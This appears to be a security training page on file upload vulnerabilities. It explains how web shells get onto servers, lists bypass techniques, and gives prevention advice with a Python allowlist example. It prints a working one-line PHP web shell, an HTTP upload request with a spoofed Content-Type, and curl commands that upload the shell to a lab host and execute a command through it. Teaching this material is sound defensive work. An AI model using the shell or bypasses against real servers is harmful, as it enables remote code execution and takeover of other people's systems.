CIDADAXSEC
← All topics
Expert

File upload vulnerabilities

File upload without strict validation lets an attacker upload a web shell and execute code on the server.

Material

An upload feature is always an attractive target because the server must store foreign files inside the same tree as the application. When the filename and content type are trusted from the client, an attacker can place a file the server executes as a script instead of merely storing.

How it works

The mechanism depends on two things: whether the server executes files in the upload directory, and how it decides a file is executable. If the upload directory sits under the document root and the filename carries an extension mapped to an interpreter, a single upload is enough to get a shell.

http
POST /upload HTTP/1.1
Host: lab.cidadaxsec.local
Content-Type: multipart/form-data; boundary=----X
Cookie: session=3f9a1c7e

------X
Content-Disposition: form-data; name="file"; filename="avatar.php"
Content-Type: image/jpeg

<?php system($_GET["c"]); ?>
------X--
bash
printf '<?php system($_GET["c"]); ?>' > shell.php
curl -sS -X POST "https://lab.cidadaxsec.local/upload" \
  -b "session=3f9a1c7e" \
  -F "file=@shell.php;type=image/jpeg"

# akses shell web di direktori upload
curl -sS "https://lab.cidadaxsec.local/uploads/avatar.php?c=id"

Attack vectors

  • Faked Content-Type: an image/jpeg header is sent while the body is still PHP that gets executed.
  • Extension blacklist: shell.php.jpg reads as an image on Windows but is still processed as PHP.
  • Obfuscated extension: shell.php. or shell.pHp slips through because filename comparison is case sensitive.
  • Path traversal in the filename: ../../var/www/html/uploads/x.php places the file where it can be executed.
  • Polyglot: one file that is valid as an image and valid as a script passes both checks.
  • Race condition: the file passes inspection while still harmless, then its content is swapped in the window before processing.

Extension blacklists always lose because many suffixes still map to the same interpreter. The genuinely dangerous part is a server that stores files in an executable location, because that makes every variant above immediately useful.

Preventing

  • Store files outside the document root and serve them through a controller that sends the correct content type.
  • Assign a random server-side name such as a UUID plus an allowlisted extension, and ignore the client filename.
  • Use an allowlist of MIME types verified by inspecting the content, not by trusting the submitted Content-Type header.
  • Enable and enforce options that stop execution inside the upload directory, such as turning the script engine off for that handler.
  • Check file size, cap the number of files, and scan file contents before storing them.
python
import uuid
from pathlib import Path

ALLOWED = {"image/png": ".png", "image/jpeg": ".jpg", "application/pdf": ".pdf"}
UPLOAD_DIR = Path("/var/storage/uploads")  # di luar document root

def store(content: bytes, declared_type: str, sniffed_type: str) -> str:
    if sniffed_type != declared_type or sniffed_type not in ALLOWED:
        raise ValueError("type not allowed")
    name = uuid.uuid4().hex + ALLOWED[sniffed_type]
    path = UPLOAD_DIR / name
    path.write_bytes(content)
    return name

Labs

  • Remote code execution via web shell upload
  • Web shell upload via Content-Type restriction bypass
  • Web shell upload via path traversal
  • Web shell upload via extension blacklist bypass
  • Web shell upload via obfuscated file extension
  • Remote code execution via polyglot web shell upload
  • Web shell upload via race condition
Two things must be separated: whether the filename is accepted as-is, and whether the upload directory can execute scripts. Labs often deliberately test only the first, so success in a lab does not necessarily mean code execution on a production server.

Labs in this topic

Labs run on a domain separate from this site, so a payload cannot reach your account session.

Labs for this category land in Phase 2. The material is readable now.

Challenges in this category

Challenges from the PortSwigger Web Security Academy. The original labs run on PortSwigger domains, so the link opens there.